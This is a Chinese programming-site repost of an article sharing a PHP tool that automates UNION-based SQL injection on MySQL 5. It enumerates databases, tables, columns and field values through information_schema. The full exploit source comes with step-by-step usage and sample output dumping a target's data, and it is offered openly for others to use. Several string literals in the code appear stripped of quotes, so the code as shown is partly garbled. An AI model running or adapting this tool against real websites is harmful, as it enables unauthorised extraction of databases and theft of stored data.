程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> php+mysql 5 sql injection 暴取工具beta版

php+mysql 5 sql injection 暴取工具beta版

編輯:關於PHP編程

文章作者:mika 來自於:邪惡八進制

mysql出來5版本以後,注入漏洞要比以前更容易利用了,也可以像mssql那樣直接暴取了(甚至比mssql更容易了,因為mssql暴取是需要錯誤提示開啟的,如果錯誤提示關閉的話,是需要暴力猜解的,而mysql的只要你找准注入點只要可以union出任何一個字段能在頁面顯示出來就可以了)。自從讀了flyh4t的文章《Mysql5注射技巧總結》就一直想測試一下,結果我發現很多的站都更新到了這個版本,於是測試得不易樂呼~~~ 為了節省力氣,自然是運用了自己所學的知識寫個簡單的工具自動暴取,比起手工來要省事多了。覺得會有許多朋友需要這樣的工具,我雖然在網上找過包括最新的 pangolin,但是測試結果都不盡如人意。還是自己寫的用起來順手。其實代碼沒什麼技術,但是本著共享的精神,算是提供個工具給大家吧,大家不要笑我哦
工具是php寫的(因為俺覺得就這個寫起來方便),代碼如下:
<?php
error_reporting(7);
echo " Mysql ver 5 sql injection exploiter coded by Mika[EST] ";
if($argc>7 || $argc <2)
{
echo <<<INFO
Usage:$argv[0] -t [table] [-f <field> -c [condition]]
INFO;
die;
}
//****************************************************************************
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
$db_name="vuldb";
//****************************************************************************
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

function find_value($url){
global $curl;
//echo $url." ";
curl_setopt($curl,CURLOPT_URL,$url);
$content=curl_exec($curl);
//echo $content;
$re=preg_match("/(||.+?||)/i",$content,$result);
//echo $content;
if($re)
{
//return str_replace(||,,$result[1]);
return $result[1];
}
return 0;
}

function str2ascii($str){
$temp="char(";
for($i=0;$i<strlen($str)-1;$i++){
//echo $str[$i]." ";
$temp.=ord($str[$i]).,;
}
$temp.=ord($str[strlen($str)-1]).);
//echo $temp." ";
return $temp;
}

function exploit_db(){
global $url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,SCHEMA_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.SCHEMATA%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "DATABASES: ";
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_tab(){
global $url,$db_name,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,TABLE_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=".str2ascii($db_name)."%20limit%20MIKA_MIKA,1/*";
echo "Tables of database ".strtoupper($db_name)." : ";
$i=0;
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_field(){
global $table_name,$url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,COLUMN_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=".str2ascii($table_name)."%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "columns of table ".strtoupper($table_name)." : ";
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_value($mode=0){
global $db_name,$table_name,$field_name,$condition,$url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,MIKA_MIKA,0x7C7C),$url);
if($mode)
{
$new_url.="%20from%20$db_name.$table_name%20where%20$condition/*";
$new=str_replace(MIKA_MIKA,$field_name,$new_url);
$v1=find_value($new);
echo $v1." ";
return;
}
$new_url.="%20from%20$db_name.$table_name%20limit%20MIKA_NUM,1/*";
$new_url=str_replace(MIKA_MIKA,$field_name,$new_url);
$i=0;
echo "$field_name values of table ".strtoupper($table_name)." : ";
do{
$new=str_replace(MIKA_NUM,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

switch($argc){
case 2:
if($argv[1]==-t)
exploit_tab();
if($argv[1]==-d)
exploit_db();
break;
case 3:
$table_name=$argv[2];
exploit_field();
break;
case 5:
case 6:
$table_name=$argv[2];
$field_name=$argv[4];
exploit_value();
break;
case 7:
$table_name=$argv[2];
$field_name=$argv[4];
$condition=$argv[6];
exploit_value(1);
break;
}

?>
代碼非常簡單,而且我省了很多的力,只是一個非常粗糙的版本,完全是怎麼方便怎麼來的。但是滿足暴取字段值什麼的足夠了,下面我簡單解釋一下吧:
在兩個//*********之間的參數是需要直接在代碼中修改的,因為太長了,放到命令行下改太麻煩,所以還是直接放代碼裡好。其中$url很明顯就是有漏洞的url,要連union一起,就像代碼裡寫的那樣,如下:
http://www.vul.com/display_msg.p ... 0union%20select%201,2,3,4,5,6,7,8
比如第6個數字會在頁面上顯示,那麼你就將數字6替換成“MIKA_MIKA”,而且最後不要跟注釋符(因為程序會在提交的時候自動加上),最終的url如下:
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
另外$db_name是數據庫名字,你可以直接用database()函數獲取到,然後填到這裡。

填完以後就可以用了,非常簡單。打開cmd,切換到程序所在的目錄,比如說暴取所有的數據庫,可以這樣用:
 F:scriptsphpmine>php mysql5.php -d
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 DATABASES:
 ||information_schema||
 ||vuldb||
暴取表名:
 F:scriptsphpmine>php mysql5.php -t
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 Tables of database VULDB :
 ||Articles||
 ||Audio||
 .
 .
 .
 省略
 .
 .
 .
暴取字段名:
 F:scriptsphpmine>php mysql5.php -t Articles
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 columns of table ARTICLES :
 ||ID||
 ||Article_ID||
 ||Title||
 ||Type||
 .
 .
 .
 省略
 .
 .
 .
暴取值:
 F:scriptsphpmine>php mysql5.php -t Articles -f Type
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 Type values of table ARTICLES :
 ||2||
 ||1||
 .
 .
 .
 省略
 .
 .
 .
另外你想加入自己的條件的話,可以在最後在加上-c參數然後再跟上where條件來限定(不要帶where),比如:
 F:scriptsphpmine>php mysql5.php -t Articles -f ID -c Type=2
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 ||58||
程序很簡陋,但基本功能算是有了,俺也只是想到哪寫到哪,所以以後有什麼完善一定拿上來跟大家分享。代碼裡難免有錯誤和可以改進的地方,還請大家多幫忙一起修改。另外,代碼裡有這一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
這是為了使用代理的,如果不需要可以直接注釋掉。

聲明:轉載請保持完整,另外真的希望大家都不要太吝啬,有了修改有了添加,還希望能拿出來跟大家一起分享,雖然俺的代碼不怎麼樣

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved